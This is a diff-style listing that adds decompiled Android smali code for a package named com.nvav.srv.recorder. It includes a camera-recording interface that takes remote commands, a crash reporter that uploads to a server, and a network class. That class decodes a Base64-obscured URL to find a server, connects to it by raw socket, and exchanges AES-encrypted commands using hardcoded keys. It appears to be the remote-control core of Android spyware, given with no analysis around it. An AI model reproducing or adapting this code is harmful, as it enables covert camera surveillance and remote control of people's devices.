invoke-direct {v0, p1, v1}, Ljava/io/OutputStreamWriter;-><init>(Ljava/io/OutputStream;Ljava/lang/String;)V
invoke-direct {p2, v0}, Ljava/io/BufferedWriter;-><init>(Ljava/io/Writer;)V
.line 86
invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object p1
invoke-virtual {p2, p1}, Ljava/io/BufferedWriter;->write(Ljava/lang/String;)V
.line 87
invoke-virtual {p2}, Ljava/io/BufferedWriter;->flush()V
.line 88
invoke-virtual {p2}, Ljava/io/BufferedWriter;->close()V
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
goto :goto_0
:catch_0
move-exception p1
.line 90
invoke-virtual {p1}, Ljava/lang/Exception;->printStackTrace()V
:goto_0
return-void
.end method
.method private writeToFile(Ljava/lang/String;Ljava/lang/String;)V
.locals 4
.line 58
:try_start_0
new-instance v0, Ljava/io/BufferedWriter;
new-instance v1, Ljava/io/FileWriter;
new-instance v2, Ljava/lang/StringBuilder;
invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
iget-object v3, p0, Lcom/nvav/srv/recorder/CustomExceptionHandler;->localPath:Ljava/lang/String;
invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v2
const-string v3, "/"
invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v2
invoke-virtual {v2, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object p2
invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object p2
invoke-direct {v1, p2}, Ljava/io/FileWriter;-><init>(Ljava/lang/String;)V
invoke-direct {v0, v1}, Ljava/io/BufferedWriter;-><init>(Ljava/io/Writer;)V
.line 60
invoke-virtual {v0, p1}, Ljava/io/BufferedWriter;->write(Ljava/lang/String;)V
.line 61
invoke-virtual {v0}, Ljava/io/BufferedWriter;->flush()V
.line 62
invoke-virtual {v0}, Ljava/io/BufferedWriter;->close()V
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
goto :goto_0
:catch_0
move-exception p1
.line 64
invoke-virtual {p1}, Ljava/lang/Exception;->printStackTrace()V
:goto_0
return-void
.end method
# virtual methods
.method public uncaughtException(Ljava/lang/Thread;Ljava/lang/Throwable;)V
.locals 3
.line 36
new-instance v0, Ljava/util/Date;
invoke-direct {v0}, Ljava/util/Date;-><init>()V
.line 37
new-instance v1, Ljava/text/SimpleDateFormat;
const-string v2, "YYYYMMddHHmmss"
invoke-direct {v1, v2}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;)V
.line 38
invoke-virtual {v1, v0}, Ljava/text/SimpleDateFormat;->format(Ljava/util/Date;)Ljava/lang/String;
move-result-object v0
.line 39
new-instance v1, Ljava/io/StringWriter;
invoke-direct {v1}, Ljava/io/StringWriter;-><init>()V
.line 40
new-instance v2, Ljava/io/PrintWriter;
invoke-direct {v2, v1}, Ljava/io/PrintWriter;-><init>(Ljava/io/Writer;)V
.line 41
invoke-virtual {p2, v2}, Ljava/lang/Throwable;->printStackTrace(Ljava/io/PrintWriter;)V
.line 42
invoke-virtual {v1}, Ljava/lang/Object;->toString()Ljava/lang/String;
move-result-object v1
.line 43
invoke-virtual {v2}, Ljava/io/PrintWriter;->close()V
.line 44
new-instance v2, Ljava/lang/StringBuilder;
invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v0
const-string v2, ".stacktrace"
invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v0
invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v0
.line 46
iget-object v2, p0, Lcom/nvav/srv/recorder/CustomExceptionHandler;->localPath:Ljava/lang/String;
if-eqz v2, :cond_0
.line 47
invoke-direct {p0, v1, v0}, Lcom/nvav/srv/recorder/CustomExceptionHandler;->writeToFile(Ljava/lang/String;Ljava/lang/String;)V
.line 49
:cond_0
iget-object v2, p0, Lcom/nvav/srv/recorder/CustomExceptionHandler;->url:Ljava/lang/String;
if-eqz v2, :cond_1
.line 50
invoke-direct {p0, v1, v0}, Lcom/nvav/srv/recorder/CustomExceptionHandler;->sendToServer(Ljava/lang/String;Ljava/lang/String;)V
.line 53
:cond_1
iget-object v0, p0, Lcom/nvav/srv/recorder/CustomExceptionHandler;->defaultUEH:Ljava/lang/Thread$UncaughtExceptionHandler;
invoke-interface {v0, p1, p2}, Ljava/lang/Thread$UncaughtExceptionHandler;->uncaughtException(Ljava/lang/Thread;Ljava/lang/Throwable;)V
return-void
.end method

View File

@@ -0,0 +1,20 @@
.class public interface abstract Lcom/nvav/srv/recorder/ICameraRecord;
.super Ljava/lang/Object;
.source "ICameraRecord.java"
# virtual methods
.method public abstract FPS()I
.end method
.method public abstract MaxISO()I
.end method
.method public abstract MinISO()I
.end method
.method public abstract SetCommand(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
.end method
.method public abstract Stop()V
.end method

View File

@@ -0,0 +1,254 @@
.class Lcom/nvav/srv/recorder/InOut$Read;
.super Ljava/lang/Thread;
.source "InOut.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/nvav/srv/recorder/InOut;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = "Read"
.end annotation
# instance fields
.field size:I
.field final synthetic this$0:Lcom/nvav/srv/recorder/InOut;
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/InOut;)V
.locals 0
.line 55
iput-object p1, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
const/4 p1, 0x0
.line 56
iput p1, p0, Lcom/nvav/srv/recorder/InOut$Read;->size:I
return-void
.end method
# virtual methods
.method public run()V
.locals 5
.line 58
:cond_0
:goto_0
iget-object v0, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
iget-object v0, v0, Lcom/nvav/srv/recorder/InOut;->comand:Lcom/nvav/srv/recorder/Comand;
iget-boolean v0, v0, Lcom/nvav/srv/recorder/Comand;->open:Z
if-eqz v0, :cond_4
const-wide/16 v0, 0x32
.line 60
:try_start_0
invoke-static {v0, v1}, Lcom/nvav/srv/recorder/InOut$Read;->sleep(J)V
.line 61
iget-object v0, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
iget-object v0, v0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
if-eqz v0, :cond_0
.line 62
:cond_1
iget-object v0, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
iget-object v0, v0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
invoke-virtual {v0}, Ljava/net/Socket;->getInputStream()Ljava/io/InputStream;
move-result-object v0
invoke-virtual {v0}, Ljava/io/InputStream;->available()I
move-result v0
if-lez v0, :cond_2
.line 63
iget-object v0, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
iget-object v0, v0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
invoke-virtual {v0}, Ljava/net/Socket;->getInputStream()Ljava/io/InputStream;
move-result-object v0
invoke-virtual {v0}, Ljava/io/InputStream;->read()I
move-result v0
.line 64
iget-object v1, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v2
iput-wide v2, v1, Lcom/nvav/srv/recorder/InOut;->time_read:J
const/4 v1, 0x4
if-ge v0, v1, :cond_1
.line 66
new-array v0, v0, [B
.line 67
iget-object v1, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
iget-object v1, v1, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
invoke-virtual {v1}, Ljava/net/Socket;->getInputStream()Ljava/io/InputStream;
move-result-object v1
invoke-virtual {v1, v0}, Ljava/io/InputStream;->read([B)I
.line 68
iget-object v1, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/InOut;->getInt([B)I
move-result v0
iput v0, p0, Lcom/nvav/srv/recorder/InOut$Read;->size:I
.line 72
:cond_2
iget v0, p0, Lcom/nvav/srv/recorder/InOut$Read;->size:I
if-lez v0, :cond_0
iget-object v0, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
iget-object v0, v0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
invoke-virtual {v0}, Ljava/net/Socket;->getInputStream()Ljava/io/InputStream;
move-result-object v0
invoke-virtual {v0}, Ljava/io/InputStream;->available()I
move-result v0
iget v1, p0, Lcom/nvav/srv/recorder/InOut$Read;->size:I
if-lt v0, v1, :cond_0
.line 73
new-array v0, v1, [B
.line 74
iget-object v2, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
iget-object v2, v2, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
invoke-virtual {v2}, Ljava/net/Socket;->getInputStream()Ljava/io/InputStream;
move-result-object v2
invoke-virtual {v2, v0}, Ljava/io/InputStream;->read([B)I
.line 75
iget-object v2, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v3
iput-wide v3, v2, Lcom/nvav/srv/recorder/InOut;->time_read:J
add-int/lit8 v1, v1, -0x1
.line 76
aget-byte v2, v0, v1
if-nez v2, :cond_3
.line 77
iget-object v0, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
iget-object v0, v0, Lcom/nvav/srv/recorder/InOut;->comand:Lcom/nvav/srv/recorder/Comand;
const/4 v1, 0x2
invoke-virtual {v0, v1}, Lcom/nvav/srv/recorder/Comand;->status(I)V
goto/16 :goto_0
.line 79
:cond_3
iget-object v2, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
iget-object v2, v2, Lcom/nvav/srv/recorder/InOut;->comand:Lcom/nvav/srv/recorder/Comand;
const/4 v3, 0x0
invoke-static {v0, v3, v1}, Ljava/util/Arrays;->copyOfRange([BII)[B
move-result-object v0
invoke-static {v0}, Lcom/nvav/srv/recorder/InOut;->decrypt([B)[B
move-result-object v0
invoke-virtual {v2, v0}, Lcom/nvav/srv/recorder/Comand;->WriteIn([B)I
.line 80
iget-object v0, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
iget-object v0, v0, Lcom/nvav/srv/recorder/InOut;->comand:Lcom/nvav/srv/recorder/Comand;
const/4 v1, 0x3
invoke-virtual {v0, v1}, Lcom/nvav/srv/recorder/Comand;->status(I)V
.line 81
iget-object v0, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v1
iput-wide v1, v0, Lcom/nvav/srv/recorder/InOut;->data_read:J
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
goto/16 :goto_0
:catch_0
move-exception v0
.line 86
invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
.line 87
iget-object v0, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
const/4 v1, 0x0
iput-object v1, v0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
goto/16 :goto_0
:cond_4
return-void
.end method

View File

@@ -0,0 +1,857 @@
.class public Lcom/nvav/srv/recorder/InOut;
.super Ljava/lang/Thread;
.source "InOut.java"
# annotations
.annotation system Ldalvik/annotation/MemberClasses;
value = {
Lcom/nvav/srv/recorder/InOut$Read;
}
.end annotation
# static fields
.field static ast:[B
.field static ivByte:[B
.field static keyByte:[B
# instance fields
.field AddresURL:Ljava/lang/String;
.field Chenal:B
.field comand:Lcom/nvav/srv/recorder/Comand;
.field data_read:J
.field documentUrl:Ljava/net/URL;
.field socket:Ljava/net/Socket;
.field time_read:J
.field ust:Ljava/lang/String;
# direct methods
.method static constructor <clinit>()V
.locals 2
.line 121
const-string v0, "aHR0cHM6Ly9zMS5jYy12c3Qub25saW5lL2dldC1pcC1rci5waHA/cG9ydD0="
const/4 v1, 0x0
invoke-static {v0, v1}, Landroid/util/Base64;->decode(Ljava/lang/String;I)[B
move-result-object v0
sput-object v0, Lcom/nvav/srv/recorder/InOut;->ast:[B
return-void
.end method
.method public constructor <init>(Lcom/nvav/srv/recorder/Comand;)V
.locals 3
.line 188
invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
const/4 v0, 0x0
.line 52
iput-object v0, p0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
.line 53
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v1
iput-wide v1, p0, Lcom/nvav/srv/recorder/InOut;->time_read:J
.line 54
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v1
iput-wide v1, p0, Lcom/nvav/srv/recorder/InOut;->data_read:J
.line 119
const-string v1, "..."
iput-object v1, p0, Lcom/nvav/srv/recorder/InOut;->AddresURL:Ljava/lang/String;
.line 189
iput-object p1, p0, Lcom/nvav/srv/recorder/InOut;->comand:Lcom/nvav/srv/recorder/Comand;
.line 191
:try_start_0
invoke-static {v0}, Lcom/nvav/srv/recorder/ChenalC;->getInstance(Landroid/content/Context;)Lcom/nvav/srv/recorder/ChenalC;
move-result-object p1
invoke-virtual {p1}, Lcom/nvav/srv/recorder/ChenalC;->get()Ljava/lang/Byte;
move-result-object p1
invoke-virtual {p1}, Ljava/lang/Byte;->byteValue()B
move-result p1
iput-byte p1, p0, Lcom/nvav/srv/recorder/InOut;->Chenal:B
if-nez p1, :cond_0
return-void
.line 193
:cond_0
const-string p1, "%s%d"
const/4 v0, 0x2
new-array v0, v0, [Ljava/lang/Object;
new-instance v1, Ljava/lang/String;
sget-object v2, Lcom/nvav/srv/recorder/InOut;->ast:[B
invoke-direct {v1, v2}, Ljava/lang/String;-><init>([B)V
const/4 v2, 0x0
aput-object v1, v0, v2
iget-byte v1, p0, Lcom/nvav/srv/recorder/InOut;->Chenal:B
invoke-static {v1}, Ljava/lang/Byte;->valueOf(B)Ljava/lang/Byte;
move-result-object v1
const/4 v2, 0x1
aput-object v1, v0, v2
invoke-static {p1, v0}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object p1
iput-object p1, p0, Lcom/nvav/srv/recorder/InOut;->ust:Ljava/lang/String;
.line 194
new-instance p1, Ljava/net/URL;
iget-object v0, p0, Lcom/nvav/srv/recorder/InOut;->ust:Ljava/lang/String;
invoke-direct {p1, v0}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
iput-object p1, p0, Lcom/nvav/srv/recorder/InOut;->documentUrl:Ljava/net/URL;
.line 195
const-string p1, "73!2#qweaSdzxc4r"
invoke-static {p1}, Lcom/nvav/srv/recorder/InOut;->MD5(Ljava/lang/String;)[B
move-result-object p1
sput-object p1, Lcom/nvav/srv/recorder/InOut;->keyByte:[B
.line 196
const-string p1, "0_=op[l:\',./vf73"
invoke-static {p1}, Lcom/nvav/srv/recorder/InOut;->MD5(Ljava/lang/String;)[B
move-result-object p1
sput-object p1, Lcom/nvav/srv/recorder/InOut;->ivByte:[B
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
goto :goto_0
:catch_0
move-exception p1
.line 198
invoke-virtual {p1}, Ljava/lang/Exception;->printStackTrace()V
:goto_0
return-void
.end method
.method static MD5(Ljava/lang/String;)[B
.locals 2
.annotation system Ldalvik/annotation/Throws;
value = {
Ljava/security/NoSuchAlgorithmException;,
Ljava/io/UnsupportedEncodingException;
}
.end annotation
.line 38
const-string v0, "MD5"
invoke-static {v0}, Ljava/security/MessageDigest;->getInstance(Ljava/lang/String;)Ljava/security/MessageDigest;
move-result-object v0
const-string v1, "UTF-8"
invoke-virtual {p0, v1}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
move-result-object p0
invoke-virtual {v0, p0}, Ljava/security/MessageDigest;->digest([B)[B
move-result-object p0
return-object p0
.end method
.method static decrypt([B)[B
.locals 4
.annotation system Ldalvik/annotation/Throws;
value = {
Ljavax/crypto/NoSuchPaddingException;,
Ljava/security/NoSuchAlgorithmException;,
Ljava/security/InvalidAlgorithmParameterException;,
Ljava/security/InvalidKeyException;,
Ljavax/crypto/BadPaddingException;,
Ljavax/crypto/IllegalBlockSizeException;
}
.end annotation
.line 46
const-string v0, "AES/CBC/PKCS5Padding"
invoke-static {v0}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher;
move-result-object v0
.line 47
new-instance v1, Ljavax/crypto/spec/SecretKeySpec;
sget-object v2, Lcom/nvav/srv/recorder/InOut;->keyByte:[B
const-string v3, "AES"
invoke-direct {v1, v2, v3}, Ljavax/crypto/spec/SecretKeySpec;-><init>([BLjava/lang/String;)V
new-instance v2, Ljavax/crypto/spec/IvParameterSpec;
sget-object v3, Lcom/nvav/srv/recorder/InOut;->ivByte:[B
invoke-direct {v2, v3}, Ljavax/crypto/spec/IvParameterSpec;-><init>([B)V
const/4 v3, 0x2
invoke-virtual {v0, v3, v1, v2}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;Ljava/security/spec/AlgorithmParameterSpec;)V
.line 48
invoke-virtual {v0, p0}, Ljavax/crypto/Cipher;->doFinal([B)[B
move-result-object p0
return-object p0
.end method
.method static encrypt([B)[B
.locals 4
.annotation system Ldalvik/annotation/Throws;
value = {
Ljavax/crypto/NoSuchPaddingException;,
Ljava/security/NoSuchAlgorithmException;,
Ljava/security/InvalidAlgorithmParameterException;,
Ljava/security/InvalidKeyException;,
Ljavax/crypto/BadPaddingException;,
Ljavax/crypto/IllegalBlockSizeException;
}
.end annotation
.line 41
const-string v0, "AES/CBC/PKCS5Padding"
invoke-static {v0}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher;
move-result-object v0
.line 42
new-instance v1, Ljavax/crypto/spec/SecretKeySpec;
sget-object v2, Lcom/nvav/srv/recorder/InOut;->keyByte:[B
const-string v3, "AES"
invoke-direct {v1, v2, v3}, Ljavax/crypto/spec/SecretKeySpec;-><init>([BLjava/lang/String;)V
new-instance v2, Ljavax/crypto/spec/IvParameterSpec;
sget-object v3, Lcom/nvav/srv/recorder/InOut;->ivByte:[B
invoke-direct {v2, v3}, Ljavax/crypto/spec/IvParameterSpec;-><init>([B)V
const/4 v3, 0x1
invoke-virtual {v0, v3, v1, v2}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;Ljava/security/spec/AlgorithmParameterSpec;)V
.line 43
invoke-virtual {v0, p0}, Ljavax/crypto/Cipher;->doFinal([B)[B
move-result-object p0
return-object p0
.end method
# virtual methods
.method Write(Ljava/io/OutputStream;[BI)V
.locals 4
.annotation system Ldalvik/annotation/Throws;
value = {
Ljava/io/IOException;
}
.end annotation
.line 94
:try_start_0
invoke-static {p2}, Lcom/nvav/srv/recorder/InOut;->encrypt([B)[B
move-result-object p2
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
goto :goto_0
:catch_0
move-exception v0
.line 96
invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
const/4 v0, 0x0
.line 97
iput-object v0, p0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
.line 99
:goto_0
array-length v0, p2
add-int/lit8 v0, v0, 0x1
invoke-virtual {p0, v0}, Lcom/nvav/srv/recorder/InOut;->putInt(I)[B
move-result-object v0
.line 100
array-length v1, v0
:goto_1
if-lez v1, :cond_1
add-int/lit8 v2, v1, -0x1
aget-byte v2, v0, v2
if-eqz v2, :cond_0
const/4 v2, 0x4
if-ge v1, v2, :cond_1
.line 102
new-array v2, v1, [B
const/4 v3, 0x0
.line 103
invoke-static {v0, v3, v2, v3, v1}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
move-object v0, v2
goto :goto_2
:cond_0
add-int/lit8 v1, v1, -0x1
goto :goto_1
.line 108
:cond_1
:goto_2
array-length v1, v0
invoke-virtual {p1, v1}, Ljava/io/OutputStream;->write(I)V
.line 109
invoke-virtual {p1, v0}, Ljava/io/OutputStream;->write([B)V
.line 113
invoke-virtual {p1, p2}, Ljava/io/OutputStream;->write([B)V
.line 114
invoke-virtual {p1, p3}, Ljava/io/OutputStream;->write(I)V
.line 115
invoke-virtual {p1}, Ljava/io/OutputStream;->flush()V
return-void
.end method
.method getInt([B)I
.locals 3
.line 178
array-length v0, p1
const/4 v1, 0x0
const/4 v2, 0x4
if-ge v0, v2, :cond_0
.line 179
new-array v0, v2, [B
fill-array-data v0, :array_0
.line 180
array-length v2, p1
invoke-static {p1, v1, v0, v1, v2}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
move-object p1, v0
.line 183
:cond_0
invoke-static {p1}, Ljava/nio/ByteBuffer;->wrap([B)Ljava/nio/ByteBuffer;
move-result-object p1
sget-object v0, Ljava/nio/ByteOrder;->LITTLE_ENDIAN:Ljava/nio/ByteOrder;
invoke-virtual {p1, v0}, Ljava/nio/ByteBuffer;->order(Ljava/nio/ByteOrder;)Ljava/nio/ByteBuffer;
move-result-object p1
invoke-virtual {p1, v1}, Ljava/nio/ByteBuffer;->getInt(I)I
move-result p1
return p1
:array_0
.array-data 1
0x0t
0x0t
0x0t
0x0t
.end array-data
.end method
.method putInt(I)[B
.locals 2
const/4 v0, 0x4
.line 186
invoke-static {v0}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
move-result-object v0
sget-object v1, Ljava/nio/ByteOrder;->LITTLE_ENDIAN:Ljava/nio/ByteOrder;
invoke-virtual {v0, v1}, Ljava/nio/ByteBuffer;->order(Ljava/nio/ByteOrder;)Ljava/nio/ByteBuffer;
move-result-object v0
invoke-virtual {v0, p1}, Ljava/nio/ByteBuffer;->putInt(I)Ljava/nio/ByteBuffer;
move-result-object p1
invoke-virtual {p1}, Ljava/nio/ByteBuffer;->array()[B
move-result-object p1
return-object p1
.end method
.method public run()V
.locals 11
const/4 v0, 0x2
const/4 v1, 0x1
const/4 v2, 0x0
.line 128
:try_start_0
iget-object v3, p0, Lcom/nvav/srv/recorder/InOut;->documentUrl:Ljava/net/URL;
invoke-virtual {v3}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
move-result-object v3
.line 129
invoke-static {}, Ljavax/xml/parsers/DocumentBuilderFactory;->newInstance()Ljavax/xml/parsers/DocumentBuilderFactory;
move-result-object v4
.line 130
invoke-virtual {v4}, Ljavax/xml/parsers/DocumentBuilderFactory;->newDocumentBuilder()Ljavax/xml/parsers/DocumentBuilder;
.line 131
invoke-virtual {v3}, Ljava/net/URLConnection;->getInputStream()Ljava/io/InputStream;
move-result-object v3
const/4 v4, 0x4
.line 132
new-array v5, v4, [I
move v6, v2
:goto_0
if-ge v6, v4, :cond_0
.line 133
invoke-virtual {v3}, Ljava/io/InputStream;->read()I
move-result v7
aput v7, v5, v6
add-int/lit8 v6, v6, 0x1
goto :goto_0
.line 134
:cond_0
const-string v3, "%d.%d.%d.%d"
new-array v4, v4, [Ljava/lang/Object;
aget v6, v5, v2
invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v6
aput-object v6, v4, v2
aget v6, v5, v1
invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v6
aput-object v6, v4, v1
aget v6, v5, v0
invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v6
aput-object v6, v4, v0
const/4 v6, 0x3
aget v5, v5, v6
invoke-static {v5}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v5
aput-object v5, v4, v6
invoke-static {v3, v4}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object v3
iput-object v3, p0, Lcom/nvav/srv/recorder/InOut;->AddresURL:Ljava/lang/String;
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
goto :goto_1
:catch_0
move-exception v3
.line 136
invoke-virtual {v3}, Ljava/lang/Exception;->printStackTrace()V
.line 138
:goto_1
new-instance v3, Lcom/nvav/srv/recorder/InOut$Read;
invoke-direct {v3, p0}, Lcom/nvav/srv/recorder/InOut$Read;-><init>(Lcom/nvav/srv/recorder/InOut;)V
invoke-virtual {v3}, Lcom/nvav/srv/recorder/InOut$Read;->start()V
.line 140
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v3
move v5, v2
move v6, v5
.line 141
:goto_2
iget-object v7, p0, Lcom/nvav/srv/recorder/InOut;->comand:Lcom/nvav/srv/recorder/Comand;
iget-boolean v7, v7, Lcom/nvav/srv/recorder/Comand;->open:Z
if-eqz v7, :cond_8
const-wide/16 v7, 0x28
.line 143
:try_start_1
invoke-static {v7, v8}, Lcom/nvav/srv/recorder/InOut;->sleep(J)V
.line 144
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v7
iget-wide v9, p0, Lcom/nvav/srv/recorder/InOut;->time_read:J
sub-long/2addr v7, v9
const-wide/16 v9, 0x1388
cmp-long v7, v7, v9
if-gtz v7, :cond_1
iget-object v7, p0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
if-nez v7, :cond_2
.line 145
:cond_1
new-instance v7, Ljava/net/Socket;
iget-object v8, p0, Lcom/nvav/srv/recorder/InOut;->AddresURL:Ljava/lang/String;
const/16 v9, 0xca2
invoke-direct {v7, v8, v9}, Ljava/net/Socket;-><init>(Ljava/lang/String;I)V
iput-object v7, p0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
.line 146
invoke-virtual {v7}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
move-result-object v7
invoke-virtual {v7, v1}, Ljava/io/OutputStream;->write(I)V
.line 147
iget-object v7, p0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
invoke-virtual {v7}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
move-result-object v7
iget-byte v8, p0, Lcom/nvav/srv/recorder/InOut;->Chenal:B
invoke-virtual {v7, v8}, Ljava/io/OutputStream;->write(I)V
.line 148
iget-object v7, p0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
invoke-virtual {v7}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
move-result-object v7
invoke-virtual {v7}, Ljava/io/OutputStream;->flush()V
.line 149
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v7
iput-wide v7, p0, Lcom/nvav/srv/recorder/InOut;->time_read:J
.line 151
:cond_2
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v7
iget-wide v9, p0, Lcom/nvav/srv/recorder/InOut;->data_read:J
sub-long/2addr v7, v9
const-wide/16 v9, 0x5dc
cmp-long v7, v7, v9
if-lez v7, :cond_3
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v7
sub-long/2addr v7, v3
const-wide/16 v9, 0x1f4
cmp-long v7, v7, v9
if-lez v7, :cond_3
.line 152
iget-object v7, p0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
invoke-virtual {v7}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
move-result-object v7
add-int/lit8 v8, v5, 0x1
int-to-byte v8, v8
new-array v9, v1, [B
aput-byte v5, v9, v2
:try_end_1
.catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_2
:try_start_2
invoke-virtual {p0, v7, v9, v2}, Lcom/nvav/srv/recorder/InOut;->Write(Ljava/io/OutputStream;[BI)V
.line 153
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v3
:try_end_2
.catch Ljava/lang/Exception; {:try_start_2 .. :try_end_2} :catch_1
move v5, v8
goto :goto_3
:catch_1
move-exception v7
move v5, v8
goto :goto_5
:cond_3
:goto_3
add-int/lit8 v7, v6, 0x1
int-to-byte v7, v7
if-ge v6, v0, :cond_4
move v6, v0
goto :goto_4
:cond_4
move v6, v7
.line 156
:goto_4
:try_start_3
new-instance v7, Ljava/io/ByteArrayOutputStream;
invoke-direct {v7}, Ljava/io/ByteArrayOutputStream;-><init>()V
.line 157
:cond_5
iget-object v8, p0, Lcom/nvav/srv/recorder/InOut;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v8}, Lcom/nvav/srv/recorder/Comand;->ReadCount()I
move-result v8
if-lez v8, :cond_6
.line 158
iget-object v8, p0, Lcom/nvav/srv/recorder/InOut;->comand:Lcom/nvav/srv/recorder/Comand;
